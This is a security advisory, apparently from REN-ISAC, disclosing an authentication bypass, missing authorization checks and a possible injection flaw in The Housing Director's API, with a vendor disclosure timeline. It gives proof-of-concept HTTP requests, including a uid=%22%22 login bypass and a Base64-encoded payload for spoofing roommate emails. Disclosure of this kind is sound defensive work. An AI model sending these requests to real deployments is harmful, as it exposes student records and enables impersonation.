API Authentication Bypass in The Housing Director

Summary

A vulnerability in The Housing Director, an Adirondack Solutions student housing management platform popular with higher education organizations, allows access to the Application Programming Interface (API) via authentication bypass, including institutional Single Sign On (SSO).

Further Information

The REN-ISAC received notification from an external researcher of potential vulnerabilities in the API of The Housing Director. While not confirmed, other Adirondack Solutions products may be potentially impacted. The vulnerability includes three major elements.

1. Unauthenticated API access/institutional SSO bypass (OWASP A07-2021 Identification and Authentication Failures)
2. Weak/insufficient access control to certain records and functions (OWASP A01-2021 Broken Access Control)
3. Possible (unconfirmed) arbitrary data write to backend systems (OWASP A03 Injection)

Element 1: Unauthenticated API access/institutional SSO bypass (OWASP A07-2021 Identification and Authentication Failures)

When signing onto The Housing Director login page, the researcher found that replacing the `uid` POST parameter with `%22%22` (URL-encoded double-quotes back-to-back) in the authentication request yields user data for what appears to be an administrative account with the username “Self-Service.”

```
POST /fakeuniversity_THD_PROD_SUPPORT/authenticationAPI.cfc HTTP/1.1
Host: fakeuniversity.datacenter.adirondacksolutions.com
Origin: https://fakeuniversity.datacenter.adirondacksolutions.com
Referer: https://fakeuniversity.datacenter.adirondacksolutions.com/fakeuniversity_thdss_prod_support/splash
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

method=LoginStudentSSO&uid=%22%22
```

Image 1 illustrates the researcher’s request using `uid` %22%22.

```
HTTP 1.1 200 OK
Server: Microsoft-IIS/8.5
Access-Control-Origin: *
Date: Wed, 30 Mar 2022 00:00:00 GMT

{"CREATED":"March, 30 2022 00:00:00","EXPIRES":"March, 30 2022 00:12:00","USERID":-2,"GUID":"3E5D8C7C-5056-0113-37D937
9462B23166","STUDENTID":-99,"TOKEN":"0C10792FCD5C77FECCBC3CE22D0E686D","USER_DATA":{"ADMINISTRATOR":-1,"ACTIVE":-1,"US
ERGROUPID":1,"IS_DARK_MODE":"","SEASON_END":"","LAST_TIMEFRAME_ID":0,"USERID":-2,"USERNAME":"Self-Service","CUSTOM_SCR
EEN_POS":1,"CUSTOM_SCREEN_COLS":2,"USERGROUPNAME":"Administrative","SEASON_START":""}}
```

Image 2 reflects the authentication response to `uid` of “” as “USERNAME” : “Self Service”

It's possible this "Self-Service" account is intended for administrative operations like updating employee and payment information (tax forms, wage information) and student information (registration, records, tax forms). The returned "TOKEN" string is passed along with a hash for authentication in subsequent requests. The hash is seemingly derived from the token string via client-side JavaScript. Generating that hash is left as an exercise to the reader.

Element 2: Weak/insufficient access control to certain records and functions (OWASP A01-2021 Broken Access Control)

```
POST /fakeuniversity_THD_PROD_SUPPORT/shrinkwrap.cfm HTTP/1.1
Host: fakeuniversity.datacenter.adirondacksolutions.com
Origin: https://fakeuniversity.datacenter.adirondacksolutions.com
Referer: https://fakeuniversity.datacenter.adirondacksolutions.com/fakeuniversity_thdss_prod_support/splash
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

eyJ0Ijoie1wiVE9LRU5cIjpcIjx0b2tlbkhlcmU+XCIsXCJVU0VSSURcIjotMixcIkhBU0hcIjpcIjxoYXNoSGVyZT5cIn0iLCJjIjoidGhkc3MiLCJtIjoiR2V0TXlIb3VzaW5nU2V0dXAifQ==
```

Image 3 illustrates the HTTP request that uses the TOKEN and HASH fields in a Base64-encoded body

```
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Server: Microsoft-IIS/8.5
Access-Control-Allow-Origin: *
Date: Wed, 30 Mar 2022 00:12:22 GMT
Connection: close

{"TOKENOBJ":{"EXPIRES":"March, 30 2022 00:24:23","TOKEN":"<redacted>"},"RAW":"[{\"MYHOUSINGAVAIL\":-1,\"APPLYONLINEAVA
IL\":-1,\"PERSONALPREFS\":-1,\"LIVINGPREFS\":0,\"ROOMSELECTION\":-1,\"ROOMCHANGEREQ\":0,\"BILLSUMMARY\":-1,\"BILLPAYME
NTS\":0,\"DINING\":-1,\"WAITLISTS\":0,\"MAINTREQ\":0,\"MAINTREQNEW\":-1,\"SHOWLOTTERYNUMBER\":-1,\"SHOWASSIGNMENTS\":0
,\"DESKSTAFFPRORATE\":0,\"DESKSTAFFTRACKKEYS\":0,\"DESKSTAFFEXPIREDAYS\":1,\"HIDEDININGINFO\":0,\"MINBILLTF\":63,\"HID
ECHECKINOUT\":-1,\"HIDEDEFAULTWAITLIST\":0,\"DESKSTAFFCONFIRM\":-1,\"SHOWEDITPROFILE\":0,\"PERSONALPREFS_NAME\":\"\",\
"LIVINGPREFS_NAME\":null,\"ROOMSELECTION_NAME\":\"\",\"BILLSUMMARY_NAME\":\"\",\"DINING_NAME\":\"\",\"WAITLISTS_NAME\"
:\"\",\"MAINTREQ_NAME\":\"\",\"POINTS_SHOW\":0,\"POINTS_NAME\":\"\",\"EMAIL_HOUSING\":\"studentlife@fakeuniversity.edu
\",\"EMAIL_DINING\":\"studentlife@fakeuniversity.edu\",\"EMAIL_MAINT\":\"studentlife@fakeuniversity.edu\",\"EMAIL_IT\"
:\"studentlife@fakeuniversity.edu\",\"HIDE_STUDENT_PHOTO\":0,\"HIDE_ROOMMATE_PROFILE\":0,\"RCR_NAME\":\"\",\"RCR_ACTIV
E\":-1,\"RCR_REQUIRED\":-1,\"RCR_NUM_DAYS\":10,\"RCR_USE_MOVE_IN\":1,\"RCR_NUM_DAYS_OUT\":7,\"RCR_USE_MOVE_OUT\":0,\"R
CR_EARLIEST_TF\":58,\"APP\":-1,\"APPNAME\":\"\",\"GUEST_PASS\":0,\"GUEST_PASS_NAME\":\"\",\"HIDE_BED_NUMBER\":-1,\"USE
_PREFERRED_FIRST_THDSS\":-1,\"USE_PREFERRED_FIRST_THD_MOBILE\":-1,\"MAINT_SAME_ROOM\":0,\"ACTIVITIES\":0,\"ACTIVITIES_
NAME\":\"Event\",\"APP_HTML_MARKUP\":-1,\"ALERT_HTML_MARKUP\":-1,\"ALLOW_RMR_POKE\":-1,\"ALLOW_RMR_EMAIL\":-1,\"EMAIL_
THDSS_FROM\":\"studentlife@fakeuniversity.edu\",\"HIDE_POBOX_COMBO\":-1,\"HIDE_POBOX\":0,\"HIDE_ROOMTYPE\":0,\"HIDE_RO
OM_PHONE\":-1,\"HIDE_ROOMATES_SUITEMATES\":0,\"HIDE_DINING_DATES\":0}]"}
```

Image 4 depicts the response to the request shown in Image 3

The request is formatted like

```
{"t":"{\"TOKEN\":\"<tokenHere>\",\"USERID\":-
2,\"HASH\":\"<hashHere>\"}","c":"thdss","m":"GetMyHousingSetup"}
```

which after Base64-encoding becomes

```
eyJ0Ijoie1wiVE9LRU5cIjpcIjx0b2tlbkhlcmU+XCIsXCJVU0VSSURcIjotMixcI
khBU0hcIjpcIjxoYXNoSGVyZT5cIn0iLCJjIjoidGhkc3MiLCJtIjoiR2V0TXlIb3
VzaW5nU2V0dXAifQ==
```

The Base64-encoded methods such as *GetMyHousingSetup* or *EmailRoomMate* appear to not do authorization checks and allow even low-privileged student users to invoke their use against any student ID or, in the case of the *EmailRoomMate*, spoof emails with customized messages such as:

```
{"t":"{\"TOKEN\":\"<tokenHere>\",\"USERID\":-
2,\"HASH\":\"<hashHere>\"}","c":"thdss","m":"EmailRoomMate","nvpa
irs":"[{\"Name\":\"THDSS_FROM_Email\",\"Value\":\president@somefa
ke.edu\},{\"Name\":\"student_id\",\"Value\":<studentId>},{\"Name\
":\"Use_Preferred_First\",\"Value\":-
1},{\"Name\":\"FirstName\",\"Value\":\"<FirstName>\"},{\"Name\":\
"LastName\",\"Value\":\"<LastName>\"},{\"Name\":\"student_email\"
,\"Value\":\"<fromStudentEmail>\"},{\"Name\":\"roommate_email\",\
"Value\":\"<toStudentEmail>\"},{\"Name\":\"email_text\",\"Value\"
:\"<arbitraryBodyText>\"},{\"Name\":\"NAME_TAG\",\"Value\":\"<arb
itraryTag>\"}]"}
```

Once Base64-encoded and POST'd to the correct API endpoint, it will send an email to the desired student from the spoofed *THDSS_FROM_Email* field if the domain matches an institution that uses The Housing Director (which can serve to enumerate institutions using the THD service).

Element 3: Possible (unconfirmed) arbitrary data write to backend systems (OWASP A03 Injection)

While no supporting evidence, there's some concern that the *InsertLogEntry* method may allow arbitrary data in the URL field which, if true, could be used for purposes like stored XSS or attempts to inject Log4j strings:

```
{"t":"{\"TOKEN\":\"<tokenHere>\",\"USERID\":-
2,\"HASH\":\"<hashHere>\"}","c":"thdss","m":"InsertLogEntry","nvp
airs":"[{\"Name\": \"StudentID\", \"Value\":<idHere>},{\"Name\":
\"LogAction\", \"Value\":\"Logged In\"},{\"Name\":
\"LogActionDetails\", \"Value\":\"\"},{\"Name\": \"AppInUse\",
\"Value\":\"Self-Service\"},{\"Name\": \"URL\",
\"Value\":\https://<institution>.datacenter.adirondacksolutions.c
om/<institutionEndpoint>/navigation/student/my-screen\}]"}
```

Mitigation and Detection

Because this is a cloud-hosted Software as a Service (SaaS) solution, common best practices such as locking down access may be infeasible. While there appears to be some logging functionality available to the service provider (Adirondack), it's unknown how much of that information they make available to customers. Some patches have been deployed by the vendor into the cloud service. Additionally, because this is cloud hosted, it does not qualify for a CVE identifier.

Adirondack did recently inform us that they have some self-hosted solutions, but we've been unable to access those environments for testing and are therefore unable to request a CVE. For self-hosted

versions, it's suggested to reach out to one's account rep with the vendor to acquire any available patches.

Disclosure Timeline

2022-Mar-30: Collected initial information from third-party researcher

2022-Mar-30: Privately disclosed finding to vendor via support email support@adirondacksolutions.com

2022-Mar-30: Attempted to follow-up with call to support number listed on site but no answer after remaining on hold for over 5 minutes

2022-Apr-13: Sent follow-up email to vendor requesting acknowledgement of receipt

2022-Apr-21: Called phone support again and reached support agent to whom vulnerability details were directly emailed

2022-Apr-21: Received email response from vendor's IT Director acknowledging receipt of disclosure

2022-Apr-22: Email from vendor's IT Director sharing remediation progress on each of the issues in the disclosure

2022-Apr-25: Email from vendor's IT Director with further progress

2022-May-05: Requested update via email and received reply that hardened sanitation checking and improved authorization checks would be in the next scheduled update

2022-May-12: Vendor's IT Director noted that they had alerted their clients to the vulnerabilities, and some corrections have been rolled into their cloud hosted services

2022-June-06: TLP:WHITE public disclosure

Acknowledgments

Nicholas Dubois (Dragon Eye Intelligence LLC) who discovered and disclosed the issue to REN-ISAC so that it could be responsibly disclosed to the vendor and shared among the Higher Ed community. Also, credit goes to him for the proofs of concept.